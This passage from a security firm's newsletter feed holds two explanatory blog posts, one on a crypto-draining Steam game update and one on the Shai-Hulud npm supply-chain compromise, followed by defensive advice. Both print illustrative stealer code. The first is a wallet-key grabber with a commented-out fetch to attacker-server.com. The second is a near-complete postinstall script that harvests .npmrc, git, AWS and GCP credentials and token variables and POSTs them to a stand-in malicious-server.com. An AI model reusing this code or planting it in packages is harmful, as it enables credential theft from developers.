<strong>Steam</strong>, arguably the most trusted PC gaming platform on the planet.</p><p>Within seconds of launching the game by a user, everything changed. Their crypto wallet — the one holding over $31,000 in community-donated funds — was drained. And it happened live on stream.</p><p>What looked like a routine game launch turned into a financial ambush, broadcast to thousands of stunned viewers in real time.</p><h2 id="h-how-did-this-even-happen" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">How Did This Even Happen?</h2><p>Most people associate crypto hacks with shady websites or phishing links. You know the kind: too-good-to-be-true airdrops, fake MetaMask popups, or impersonated Discord admins. But this wasn’t that.</p><p><strong>This came from Steam.</strong></p><p>BlockBlaster had been published through Steam by a developer going by the name <strong>Genesis Interactive</strong>. Their profile was verified. The game had been live for weeks. There were no red flags. And that’s exactly what made the attack so effective.</p><p>In late August 2025, Genesis Interactive pushed an update to the game — nothing out of the ordinary, or so it seemed. But buried inside the update was a <strong>crypto drainer</strong> — a small but powerful piece of malicious code designed to silently scan the user’s system, locate crypto wallet data, and transmit it to a remote server controlled by the attacker.</p><p>It didn’t matter if you had antivirus software. It didn’t matter that you downloaded the game from a “safe” storefront. The moment you launched BlockBlaster, it was already too late.</p><h2 id="h-trust-is-the-real-exploit" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">Trust is the Real Exploit</h2><p>There’s a phrase in cybersecurity: “Humans are the weakest link.” But I’d argue that in this case, it wasn’t just human error — it was <strong>systemic trust</strong> that got exploited.</p><p>Think about it. Most of us have been trained to trust platforms. We trust the App Store not to serve us malware. We trust Chrome Extensions that are marked “Verified.” And in gaming, we trust that something downloaded from Steam — especially from a verified publisher — isn’t going to rob us blind.</p><p>BlockBlaster flipped that assumption on its head.</p><p>It used <strong>trust as the delivery vehicle</strong>. It didn’t trick you with a sketchy download link. It didn’t try to get you to sign a transaction. It just slipped through a legitimate update pipeline and waited patiently for players to launch it.</p><p>That’s what makes this story so important. Because if it can happen through Steam, it can happen anywhere.</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://img.paragraph.com/cdn-cgi/image/format=auto/https://storage.googleapis.com/papyrus_images/18f7fc2feaca46f6e51fec2db734be1655f170d6a61d92dc2904ab1cc2783644.png" blurdataurl="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAPCAIAAAAK4lpAAAAACXBIWXMAAAsTAAALEwEAmpwYAAAD0UlEQVR4nH1TW28bRRidXDfZ23h3dnZndsdeJ3Z8wY2NEzuu7XV9SRw7F5OoJU37QCIVIkqkSghEVCm0SQMNEbcnKC1VhUqE2odKPPHAEz+hL/wJJMQfQAK0u46VBIR0pJ2d+eac73IGCIoJMStXWs3FVafWnm29NpktzLY69dZys72SmS5XG4tLK1fXrm3mClXAaTJikkIFF+ZZ9HbOHAH/M9vqHD9/sXP77ldff/veB7v3Pjo6PPrym0dPDu5/urd/f+vmrYePvrtydQP0qQHERHiO+v/gC9Dbu3tvvn1rz+X9bO/gk5vb776/c+fO/sdPj58LCgFA7OfVIcnwg08JkLOJ/7ssE4xCCjGr1FrZXDmVudiYXy6U6rkZp9pozxRrl2YX4ql8JP4qIrZ/QYQuBMWUPPibvYUfcL4CiIPJTH6hs1ZyGtMzTr25VCjV63NLTq1dKNUb88vtzhXTTgxLxM9a+q929zR6Gfin3RkM8DroQ308BpwGOK2fw6AfgSHs7g9qoE8dgaR3R4Sm7DG6Cw8+qQi7ZZ0uoisgI3Ya0MPJryUj5vIiU0TWSdZUONWrXimn+tYdyXkBiF0uSTFV1UIBEwcoVt18PWoTcMgPFhTa45UxE70MFMVSFGtUoQFkuVcgFSHtCniX3eYAToOYSZAEMZu0xjPWeITYukp5aJih2FTegZjxkMrIgohhGlHpmKCYAcTkE4GYYfOQIO+58L6AjBjg0N39w99+/6NSa4F+qMikHJ96vLv38Mb29cQ0cZ0qdVbX/vzr7ydPfxjidUUP9nHo9fWNz3c+vJYuBmlYUMigZCzX2j921gclQ1XdIrotkhEblsj3x89evvy1UGs5xN6KZtLB2L2NraM3btTDic2x1II5cSFffvDg8cHhF+MT6bei6SKN5CuNdza3fvnp5/J0cdtOXQjG7GhqvXN55fJ1QTI8I3gViIiNQDICDTCoADCANcvEpsqhEDRiOqOiHlQtQ2eCQgZ43QwnNRImmqXroclcKZ7Ozy6vxl/JEWgilcqYWePJ4FhCVqg3BtKdwdhEOleoXKrPO5UmZhOcRJLJqbnGYsVpFGYqCFvD0CAsWq40S86cRu0Rb7xmONlsr8RTU34PQuFEKlvMZC9mpx3KoiJ0jdBtEcQsEk+XK02DxQK6rSiWRsL5Uq1UbQXHEghZo5CadqzaWKjUF0w7IbgDJCQUrTaWJrNFEbn56kYI04huedBDvl97Ng0OSwRwmutuz2Sqag3zeIDDEiSeTV0jAg65MYrrIv9xgEFtiNfhiU0lSNx46DrVF/gHLfbIcjuC+n8AAAAASUVORK5CYII=" nextheight="482" nextwidth="1024" class="image-node embed"><figcaption htmlattributes="[object Object]" class="hide-figcaption"></figcaption></figure><p>A seemingly innocent game update steals sensitive data, leading to a financial loss.</p><h2 id="h-a-look-at-the-malware-how-the-game-stole-wallet-data" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">A Look at the Malware: How the Game Stole Wallet Data</h2><p>If you’re not familiar with how crypto wallets work under the hood, here's the gist.</p><p>Browser-based wallets like MetaMask or Phantom store encrypted wallet data locally. While this data is generally protected, under certain conditions — such as improper permissions or unsafe environments — it can be accessed by malicious scripts, especially if the user has left the wallet logged in.</p><p>In the case of BlockBlaster, the malware was built to target the local storage areas in browsers where wallet extensions may temporarily store sensitive data. It searched for keys, seed phrases, and other authentication data, and if it found anything usable, it sent it off silently to an attacker-controlled server.</p><p>Here’s a simplified version of what that logic might look like:</p><blockquote><p>Educational purposes only — do not run this code.</p></blockquote><pre data-type="codeBlock" text="// hypothetical_malicious_script.js
function exfiltrateWalletData() {
    let privateKey = null;

    try {
        const knownExtensions = ['phantom', 'metamask', 'coinbase'];
        for (const ext of knownExtensions) {
            const data = localStorage.getItem(`walletData_${ext}`);
            if (data) {
                const walletInfo = JSON.parse(data);
                if (walletInfo &amp;&amp; walletInfo.privateKey) {
                    privateKey = walletInfo.privateKey;
                    break;
                }
            }
        }

        if (privateKey) {
            console.log(&quot;ALERT: Malicious script found and exfiltrated private key!&quot;);
            // fetch('&lt;https://attacker-server.com/steal&gt;', {
            //     method: 'POST',
            //     body: JSON.stringify({ key: privateKey })
            // });
        }

    } catch (e) {
        console.error(&quot;Script failed to execute:&quot;, e);
    }
}
"><code><span class="hljs-comment">// hypothetical_malicious_script.js</span>
<span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">exfiltrateWalletData</span>(<span class="hljs-params"></span>) </span>{
    let privateKey <span class="hljs-operator">=</span> null;

    <span class="hljs-keyword">try</span> {
        const knownExtensions <span class="hljs-operator">=</span> [<span class="hljs-string">'phantom'</span>, <span class="hljs-string">'metamask'</span>, <span class="hljs-string">'coinbase'</span>];
        <span class="hljs-keyword">for</span> (const ext of knownExtensions) {
            const data <span class="hljs-operator">=</span> localStorage.getItem(`walletData_${ext}`);
            <span class="hljs-keyword">if</span> (data) {
                const walletInfo <span class="hljs-operator">=</span> JSON.parse(data);
                <span class="hljs-keyword">if</span> (walletInfo <span class="hljs-operator">&amp;</span><span class="hljs-operator">&amp;</span> walletInfo.privateKey) {
                    privateKey <span class="hljs-operator">=</span> walletInfo.privateKey;
                    <span class="hljs-keyword">break</span>;
                }
            }
        }

        <span class="hljs-keyword">if</span> (privateKey) {
            console.log(<span class="hljs-string">"ALERT: Malicious script found and exfiltrated private key!"</span>);
            <span class="hljs-comment">// fetch('&lt;https://attacker-server.com/steal&gt;', {</span>
            <span class="hljs-comment">//     method: 'POST',</span>
            <span class="hljs-comment">//     body: JSON.stringify({ key: privateKey })</span>
            <span class="hljs-comment">// });</span>
        }

    } <span class="hljs-keyword">catch</span> (e) {
        console.error(<span class="hljs-string">"Script failed to execute:"</span>, e);
    }
}
</code></pre><p>The real version of this code would have been heavily obfuscated, making it harder to detect through casual inspection.</p><h2 id="h-what-proper-wallet-interaction-should-look-like" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">What Proper Wallet Interaction Should Look Like</h2><p>To understand the difference, here’s how <strong>legitimate crypto applications</strong> interact with wallets. In short: <strong>they don’t touch your private keys at all</strong>.</p><pre data-type="codeBlock" text="// secure_wallet_interaction.js
async function requestSecureTransaction(amount, recipientAddress) {
    if (window.ethereum) {
        const provider = window.ethereum;
        try {
            const accounts = await provider.request({ method: 'eth_requestAccounts' });
            const currentAccount = accounts[0];

            const transactionParameters = {
                to: recipientAddress,
                from: currentAccount,
                value: '0x' + (amount * Math.pow(10, 18)).toString(16),
            };

            const txHash = await provider.request({
                method: 'eth_sendTransaction',
                params: [transactionParameters],
            });

            console.log(&quot;Transaction successfully sent with hash:&quot;, txHash);
        } catch (error) {
            console.error(&quot;User rejected transaction or an error occurred:&quot;, error);
        }
    } else {
        console.error(&quot;Ethereum wallet not found. Please install MetaMask or another provider.&quot;);
    }
}
"><code><span class="hljs-comment">// secure_wallet_interaction.js</span>
async <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">requestSecureTransaction</span>(<span class="hljs-params">amount, recipientAddress</span>) </span>{
    <span class="hljs-keyword">if</span> (window.ethereum) {
        const provider <span class="hljs-operator">=</span> window.ethereum;
        <span class="hljs-keyword">try</span> {
            const accounts <span class="hljs-operator">=</span> await provider.request({ method: <span class="hljs-string">'eth_requestAccounts'</span> });
            const currentAccount <span class="hljs-operator">=</span> accounts[<span class="hljs-number">0</span>];

            const transactionParameters <span class="hljs-operator">=</span> {
                to: recipientAddress,
                <span class="hljs-keyword">from</span>: currentAccount,
                <span class="hljs-built_in">value</span>: <span class="hljs-string">'0x'</span> <span class="hljs-operator">+</span> (amount <span class="hljs-operator">*</span> Math.pow(<span class="hljs-number">10</span>, <span class="hljs-number">18</span>)).toString(<span class="hljs-number">16</span>),
            };

            const txHash <span class="hljs-operator">=</span> await provider.request({
                method: <span class="hljs-string">'eth_sendTransaction'</span>,
                params: [transactionParameters],
            });

            console.log(<span class="hljs-string">"Transaction successfully sent with hash:"</span>, txHash);
        } <span class="hljs-keyword">catch</span> (<span class="hljs-function"><span class="hljs-keyword">error</span>) </span>{
            console.error(<span class="hljs-string">"User rejected transaction or an error occurred:"</span>, <span class="hljs-function"><span class="hljs-keyword">error</span>)</span>;
        }
    } <span class="hljs-keyword">else</span> {
        console.error(<span class="hljs-string">"Ethereum wallet not found. Please install MetaMask or another provider."</span>);
    }
}
</code></pre><p>Notice that all sensitive operations — signing, broadcasting, and transaction authorization — are handled inside the wallet itself. At no point does your private key touch the application code.</p><h2 id="h-the-aftermath-a-community-responds" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">The Aftermath: A Community Responds</h2><p>The crypto world, to its credit, responded quickly.</p><p>Cybersecurity researchers began dissecting BlockBlaster’s code. Word spread fast on X (Twitter), Discord, Reddit, and YouTube. Multiple influencers amplified the warning, and a massive community effort formed to track affected wallets, block attacker addresses, and — most hearteningly — help victims.</p><p>In Rostaland’s case, the community didn’t just express sympathy. They raised enough funds to replace the stolen crypto — and then some.</p><p>But the damage was already done. Hundreds of users were hit. And more importantly, a warning had been sounded: <strong>games can now be attack vectors</strong> in Web3.</p><hr><h2 id="h-what-makes-this-so-different-from-other-hacks" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">What Makes This So Different from Other Hacks?</h2><p>The Web3 world has seen its share of exploits. Flash loan attacks. Rug pulls. DNS hijacks. But BlockBlaster represented a new twist.</p><p>This wasn’t a bug in a smart contract. It wasn’t a social engineering scam. It was <strong>a verified software update pushed through a legitimate distribution platform</strong>.</p><p>And it targeted a new kind of user: <strong>gamers with crypto wallets</strong>. People who aren’t necessarily DeFi experts. People who just wanted to play a game.</p><p>That’s what makes this such a pivotal moment. The attack blurred the line between traditional software malware and crypto-native theft.</p><hr><h2 id="h-lessons-learned-how-to-stay-safe-in-a-shifting-landscape" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">Lessons Learned: How to Stay Safe in a Shifting Landscape</h2><p>Let’s break down what this incident teaches us — not just as crypto users, but as digital citizens.</p><h3 id="h-1-dont-rely-solely-on-platform-trust" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">1. <strong>Don’t Rely Solely on Platform Trust</strong></h3><p>Even platforms with strong reputations — Steam, Chrome Web Store, Apple’s App Store — can be compromised. Trust is not a guarantee of security. Always do independent research.</p><h3 id="h-2-segregate-your-wallets" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">2. <strong>Segregate Your Wallets</strong></h3><p>Never keep all your assets in a hot wallet. Use a cold wallet (hardware wallet) for your savings, and a low-risk hot wallet for experimentation, gaming, and DeFi.</p><h3 id="h-3-use-a-dedicated-browser-for-web3" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">3. <strong>Use a Dedicated Browser for Web3</strong></h3><p>Consider setting up a separate browser profile (or even a whole browser) exclusively for Web3 use. Keep it lean. No extra extensions. No saved credentials. Reduce the surface area for attack.</p><h3 id="h-4-keep-auto-login-disabled" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">4. <strong>Keep Auto-Login Disabled</strong></h3><p>If your wallet extension keeps you signed in indefinitely, you’re exposing yourself. Set it to auto-lock or manually sign in every session.</p><h3 id="h-5-stay-plugged-into-the-security-community" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">5. <strong>Stay Plugged Into the Security Community</strong></h3><p>Follow white-hat hackers, security analysts, and crypto risk auditors. Many vulnerabilities are disclosed early on Twitter, GitHub, or Substack before they make it into official news.</p><hr><h2 id="h-this-isnt-the-last-attack-not-by-a-long-shot" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">This Isn’t the Last Attack — Not by a Long Shot</h2><p>BlockBlaster wasn’t an anomaly. Earlier in 2025, at least three other titles — <em>Sniper Phantoms Resolution</em>, <em>Akeia</em>, and <em>Pirate Fi</em> — were found to be hiding info-stealer malware. Most didn’t make headlines because their damage was smaller. But the pattern is clear.</p><p>Game-based attacks are <strong>on the rise</strong>. They’re harder to detect, easier to distribute, and target users who may not even know what to look for.</p><p>Crypto gaming is growing fast. And with that growth comes exposure — not just to economic volatility, but to new forms of cybercrime.</p><hr><h2 id="h-final-thoughts-security-is-now-a-players-job" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">Final Thoughts: Security is Now a Player’s Job</h2><p>As someone who grew up trusting game platforms, this case hit differently. It forced me to reevaluate where I place trust and how I manage digital identity and assets.</p><p>We’re entering a new era. One where <strong>your Web3 wallet is just as critical as your email account or password manager</strong>. Maybe more so. And that means the way we play, download, and interact with games has to change.</p><p>No longer is it enough to be cautious on shady sites. We have to be cautious <strong>everywhere</strong>.</p><p>If you’re part of this space—whether you're a gamer, developer, investor, or creator — now is the time to harden your habits. Because in Web3, the difference between security and catastrophe often comes down to a single click.</p><p>Stay safe out there.</p><blockquote><p><em>Let’s build something incredible together.<br>Email us at: </em><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="mailto:hello@ancilar.comExplore"><em>hello@ancilar.com</em></a><br><em>Explore more:&nbsp;</em><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://www.ancilar.com/"><em>www.ancilar.com</em></a></p></blockquote><br>]]></content:encoded>
            <author>ancilar@newsletter.paragraph.com (Ancilar)</author>
            <enclosure url="https://img.paragraph.com/cdn-cgi/image/format=auto/https://storage.googleapis.com/papyrus_images/82a1eec4ee2d5a245dd1f50cf5b5db85730a870f039d54ede57ab33434feb182.jpg" length="0" type="image/jpg"/>
        </item>
        <item>
            <title><![CDATA[180+ NPM Packages Compromised in Supply Chain Hack]]></title>
            <link>https://paragraph.com/@ancilar/180-npm-packages-compromised-in-supply-chain-hack</link>
            <guid>M5WQVWZxXw18tasvH4Fi</guid>
            <pubDate>Tue, 23 Sep 2025 09:24:45 GMT</pubDate>
            <description><![CDATA[In software development, trust isn’t just a nice-to-have; it’s the foundation that makes our work possible. Every day, we reach for open-source packages to save time, avoid reinventing the wheel, and stand on the shoulders of others. We rarely think twice about installing that next update. But what happens when that trust is misplaced? When a minor package update carries something darker under the hood? That’s not a “what if” anymore. In September 2025, the industry faced a sharp reminder of ...]]></description>
            <content:encoded><![CDATA[<p>In software development, trust isn’t just a nice-to-have; it’s the foundation that makes our work possible. Every day, we reach for open-source packages to save time, avoid reinventing the wheel, and stand on the shoulders of others. We rarely think twice about installing that next update. But what happens when that trust is misplaced? When a minor package update carries something darker under the hood?</p><p>That’s not a “what if” anymore. In September 2025, the industry faced a sharp reminder of its dependency risks. A coordinated supply chain attack, later given the name <strong>“Shai-Hulud”</strong> - managed to compromise more than 180 npm packages. The campaign started with <strong>@ctrl/tinycolor</strong>, a small but widely adopted library. This wasn’t a smash-and-grab breach. It was a carefully staged, multi-layered operation with one clear mission: <strong>to capture developer credentials and secrets on a large scale</strong>.</p><p>The lesson? Our supply chain isn’t just a tool that helps us move faster. It can also be the doorway adversaries use to walk right into our projects. The question every developer and organization must ask now is simple: <strong>is your supply chain protecting you - or quietly undermining you?</strong></p><hr><h2 id="h-background-the-shai-hulud-offensive" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">Background: The Shai-Hulud Offensive</h2><p>The Shai-Hulud campaign began with malicious releases of <strong>@ctrl/tinycolor</strong>, specifically versions <strong>4.1.1</strong> and <strong>4.1.2</strong>. At first glance, these versions seemed like normal updates. But inside their install scripts lurked hidden code that scanned local environments for sensitive tokens and configuration files.</p><p>@ctrl/tinycolor might seem minor, but it sits inside countless projects and frameworks. That ubiquity made it a powerful entry point. Once installed, the backdoored versions quietly searched for npm tokens, GitHub PATs, and cloud service credentials for AWS and GCP. Stolen data was funneled to attacker-controlled servers.</p><p>From there, the adversaries escalated. Using captured npm tokens, they pushed tainted releases of additional packages owned by those same developers. The compromise didn’t just hit one library — it rippled across more than 180, creating a web of infections throughout the ecosystem.</p><hr><h2 id="h-who-was-behind-it-and-how-did-they-get-in" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">Who Was Behind It and How Did They Get In?</h2><p>One detail that remains unresolved is attribution. No known group has stepped forward to claim responsibility, and no public report has definitively named a threat actor. Still, the methods align with patterns we’ve seen before in the npm ecosystem.</p><p>Most supply chain compromises fall into two familiar categories:</p><ol><li><p><strong>Stolen maintainer credentials.</strong> This was the case with <strong>ua-parser-js</strong> and <strong>coa</strong> in 2021, where attackers phished or otherwise obtained npm login tokens and used them to publish malicious updates.</p></li><li><p><strong>Hijacked or abandoned packages.</strong> The well-known <strong>event-stream</strong> attack back in 2018 showed how convincing a maintainer to hand over publishing rights could give an attacker the keys to the kingdom.</p></li></ol><p>Evidence suggests Shai-Hulud leaned on the first tactic. The malicious <strong>@ctrl/tinycolor</strong> versions came directly from the legitimate maintainer account, which strongly implies that the attacker had stolen credentials. With that foothold, they were able to push trusted but tainted releases, which npm clients accepted as authentic.</p><p>Once the first breach was successful, the attackers snowballed their access. By harvesting more developer tokens, they gained the ability to poison additional packages. That cascading effect is why the incident spread so far and so quickly.</p><hr><h2 id="h-a-deep-dive-into-the-attack-vectors" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">A Deep Dive into the Attack Vectors</h2><h3 id="h-how-a-tiny-package-opened-a-massive-door" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">How a "Tiny" Package Opened a Massive Door</h3><p>The attackers picked <strong>@ctrl/tinycolor</strong> not because it was flashy, but because it was everywhere. By compromising a single maintainer account, they slipped code into releases that thousands of developers would consume automatically. Since the updates were published by a verified account, most teams never questioned them.</p><p>The malicious logic was tucked inside the <strong>post-install script</strong>, a spot that runs automatically after installation and rarely gets reviewed in depth. That choice gave the attackers both stealth and scale.</p><h3 id="h-the-anatomy-of-the-malicious-code" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">The Anatomy of the Malicious Code</h3><p>The payload was minimal but effective. It scanned local file paths, grabbed environment variables, and exfiltrated the results to a command-and-control server. Because the traffic was wrapped in HTTPS, it blended in with everyday network noise.</p><p>Here’s a simplified illustration of what such a script might look like:</p><pre data-type="codeBlock" text="// postinstall.js - a malicious script disguised within a legitimate package
const fs = require('fs');
const path = require('path');
const https = require('https');

// The exfiltration server URL is often obfuscated
const EXFILTRATION_SERVER = '&lt;https://malicious-server.com/collect&gt;';

// Function to collect and exfiltrate credentials
function collectAndExfiltrate() {
  // A. Check for sensitive files and environment variables
  const sensitiveFiles = [
    path.join(process.env.HOME, '.npmrc'), // NPM credentials
    path.join(process.env.HOME, '.git-credentials'), // Git credentials
    path.join(process.env.HOME, '.aws', 'credentials'), // AWS secrets
    path.join(process.env.HOME, '.gcloud', 'credentials.json') // GCP secrets
  ];

  let secrets = {};
  sensitiveFiles.forEach(filePath =&gt; {
    try {
      if (fs.existsSync(filePath)) {
        secrets[path.basename(filePath)] = fs.readFileSync(filePath, 'utf-8');
      }
    } catch (e) {
      // B. Fail silently to avoid detection
    }
  });

  // C. Capture environment variables that might hold secrets
  const envSecrets = {
    'NPM_TOKEN': process.env.NPM_TOKEN,
    'GITHUB_TOKEN': process.env.GITHUB_TOKEN,
    'AWS_ACCESS_KEY_ID': process.env.AWS_ACCESS_KEY_ID,
    'GCP_ACCESS_TOKEN': process.env.GCP_ACCESS_TOKEN
  };
  Object.keys(envSecrets).forEach(key =&gt; {
    if (envSecrets[key]) {
      secrets[key] = envSecrets[key];
    }
  });

  // D. Send the collected data to the malicious server
  const postData = JSON.stringify(secrets);
  const options = {
    method: 'POST',
    headers: {
      'Content-Type': 'application/json',
      'Content-Length': Buffer.byteLength(postData)
    }
  };

  const req = https.request(EXFILTRATION_SERVER, options, (res) =&gt; {
    // E. Ignore the response to prevent logging
  });

  req.on('error', (e) =&gt; {
    // F. Ignore network errors to prevent detection
  });

  req.write(postData);
  req.end();
}

// G. Execute the function upon package installation
collectAndExfiltrate();

"><code><span class="hljs-comment">// postinstall.js - a malicious script disguised within a legitimate package</span>
const fs <span class="hljs-operator">=</span> <span class="hljs-built_in">require</span>(<span class="hljs-string">'fs'</span>);
const path <span class="hljs-operator">=</span> <span class="hljs-built_in">require</span>(<span class="hljs-string">'path'</span>);
const https <span class="hljs-operator">=</span> <span class="hljs-built_in">require</span>(<span class="hljs-string">'https'</span>);

<span class="hljs-comment">// The exfiltration server URL is often obfuscated</span>
const EXFILTRATION_SERVER <span class="hljs-operator">=</span> <span class="hljs-string">'&lt;https://malicious-server.com/collect&gt;'</span>;

<span class="hljs-comment">// Function to collect and exfiltrate credentials</span>
<span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">collectAndExfiltrate</span>(<span class="hljs-params"></span>) </span>{
  <span class="hljs-comment">// A. Check for sensitive files and environment variables</span>
  const sensitiveFiles <span class="hljs-operator">=</span> [
    path.join(process.env.HOME, <span class="hljs-string">'.npmrc'</span>), <span class="hljs-comment">// NPM credentials</span>
    path.join(process.env.HOME, <span class="hljs-string">'.git-credentials'</span>), <span class="hljs-comment">// Git credentials</span>
    path.join(process.env.HOME, <span class="hljs-string">'.aws'</span>, <span class="hljs-string">'credentials'</span>), <span class="hljs-comment">// AWS secrets</span>
    path.join(process.env.HOME, <span class="hljs-string">'.gcloud'</span>, <span class="hljs-string">'credentials.json'</span>) <span class="hljs-comment">// GCP secrets</span>
  ];

  let secrets <span class="hljs-operator">=</span> {};
  sensitiveFiles.forEach(filePath <span class="hljs-operator">=</span><span class="hljs-operator">&gt;</span> {
    <span class="hljs-keyword">try</span> {
      <span class="hljs-keyword">if</span> (fs.existsSync(filePath)) {
        secrets[path.basename(filePath)] <span class="hljs-operator">=</span> fs.readFileSync(filePath, <span class="hljs-string">'utf-8'</span>);
      }
    } <span class="hljs-keyword">catch</span> (e) {
      <span class="hljs-comment">// B. Fail silently to avoid detection</span>
    }
  });

  <span class="hljs-comment">// C. Capture environment variables that might hold secrets</span>
  const envSecrets <span class="hljs-operator">=</span> {
    <span class="hljs-string">'NPM_TOKEN'</span>: process.env.NPM_TOKEN,
    <span class="hljs-string">'GITHUB_TOKEN'</span>: process.env.GITHUB_TOKEN,
    <span class="hljs-string">'AWS_ACCESS_KEY_ID'</span>: process.env.AWS_ACCESS_KEY_ID,
    <span class="hljs-string">'GCP_ACCESS_TOKEN'</span>: process.env.GCP_ACCESS_TOKEN
  };
  Object.keys(envSecrets).forEach(key <span class="hljs-operator">=</span><span class="hljs-operator">&gt;</span> {
    <span class="hljs-keyword">if</span> (envSecrets[key]) {
      secrets[key] <span class="hljs-operator">=</span> envSecrets[key];
    }
  });

  <span class="hljs-comment">// D. Send the collected data to the malicious server</span>
  const postData <span class="hljs-operator">=</span> JSON.stringify(secrets);
  const options <span class="hljs-operator">=</span> {
    method: <span class="hljs-string">'POST'</span>,
    headers: {
      <span class="hljs-string">'Content-Type'</span>: <span class="hljs-string">'application/json'</span>,
      <span class="hljs-string">'Content-Length'</span>: Buffer.byteLength(postData)
    }
  };

  const req <span class="hljs-operator">=</span> https.request(EXFILTRATION_SERVER, options, (res) <span class="hljs-operator">=</span><span class="hljs-operator">&gt;</span> {
    <span class="hljs-comment">// E. Ignore the response to prevent logging</span>
  });

  req.on(<span class="hljs-string">'error'</span>, (e) <span class="hljs-operator">=</span><span class="hljs-operator">&gt;</span> {
    <span class="hljs-comment">// F. Ignore network errors to prevent detection</span>
  });

  req.write(postData);
  req.end();
}

<span class="hljs-comment">// G. Execute the function upon package installation</span>
collectAndExfiltrate();

</code></pre><p><em>Notice how the script targets common credential locations, suppresses errors to stay quiet, and sends data over HTTPS so it blends into normal activity. By running instantly at install, it collected secrets before developers even knew anything was wrong.</em></p><hr><h3 id="h-security-considerations-and-common-pitfalls" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">Security Considerations and Common Pitfalls</h3><p>The attack put a spotlight on security blind spots many teams share:</p><ul><li><p><strong>Credential hygiene:</strong> Long-lived tokens and overly broad permissions make attackers’ jobs far easier.</p></li><li><p><strong>Limited visibility into builds:</strong> Most organizations don’t log or inspect build-time network activity, so silent exfiltration often goes unnoticed.</p></li><li><p><strong>Overconfidence in popular packages:</strong> Popularity isn’t a proxy for security. If anything, widely used packages are more attractive to attackers.</p></li></ul><hr><h3 id="h-case-study-the-shai-hulud-repositories" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">Case Study: The "Shai-Hulud" Repositories</h3><p>Investigators eventually found that more than <strong>34 GitHub accounts</strong> had been compromised. Each one hosted a repository named <strong>“Shai-Hulud.”</strong> These repos weren’t decoys — they contained dumps of exfiltrated credentials and secrets. By using legitimate GitHub infrastructure as storage, the attackers further obscured their activity and complicated detection.</p><hr><h3 id="h-key-takeaways-for-developers-and-organizations" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">Key Takeaways for Developers and Organizations</h3><ul><li><p><strong>Audit dependencies often.</strong> Popularity doesn’t guarantee safety. Tools like <code>npm audit</code> and software composition analysis (SCA) scanners help, but manual reviews of install scripts are just as important.</p></li><li><p><strong>Rotate and scope tokens.</strong> Treat tokens like passwords: short-lived, rotated frequently, and restricted to only what’s necessary.</p></li><li><p><strong>Apply least privilege.</strong> CI/CD pipelines and automation accounts should not hold account-wide permissions.</p></li><li><p><strong>Watch for suspicious build-time traffic.</strong> An unexplained outbound request during installation is a serious red flag.</p></li><li><p><strong>React quickly.</strong> When a malicious package is identified, remove or downgrade it immediately, rotate credentials, and notify your team.</p></li></ul><hr><h3 id="h-conclusion-securing-our-shared-future" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">Conclusion: Securing Our Shared Future</h3><p>The Shai-Hulud campaign shows how a single stolen credential can cascade into a wide-scale breach. By exploiting trust in package maintainers and the inertia of automated installs, attackers spread malware across hundreds of projects without immediate detection.</p><p>The solution is not panic but discipline. Adopting a <strong>zero-trust posture</strong> toward dependencies, investing in automated monitoring, and treating credentials with the same rigor as production secrets are all part of the answer.</p><p>Open-source thrives on collaboration, but collaboration must be paired with vigilance. If developers and organizations make these security practices part of their everyday workflow, the software ecosystem becomes stronger, safer, and far less attractive to attackers.</p><blockquote><p><em>Let’s build something incredible together.<br>Email us at </em><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="mailto:hello@ancilar.comExplore"><em>hello@ancilar.com</em></a><br><em>Explore more:&nbsp;</em><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://www.ancilar.com/"><em>www.ancilar.com</em></a></p></blockquote><br>]]></content:encoded>
            <author>ancilar@newsletter.paragraph.com (Ancilar)</author>
            <enclosure url="https://img.paragraph.com/cdn-cgi/image/format=auto/https://storage.googleapis.com/papyrus_images/4524511e3ecb987c21a1b3d3aba2290bfc80397cf943b4c7c79dda50ad9fa0c3.jpg" length="0" type="image/jpg"/>
        </item>
    </channel>
</rss>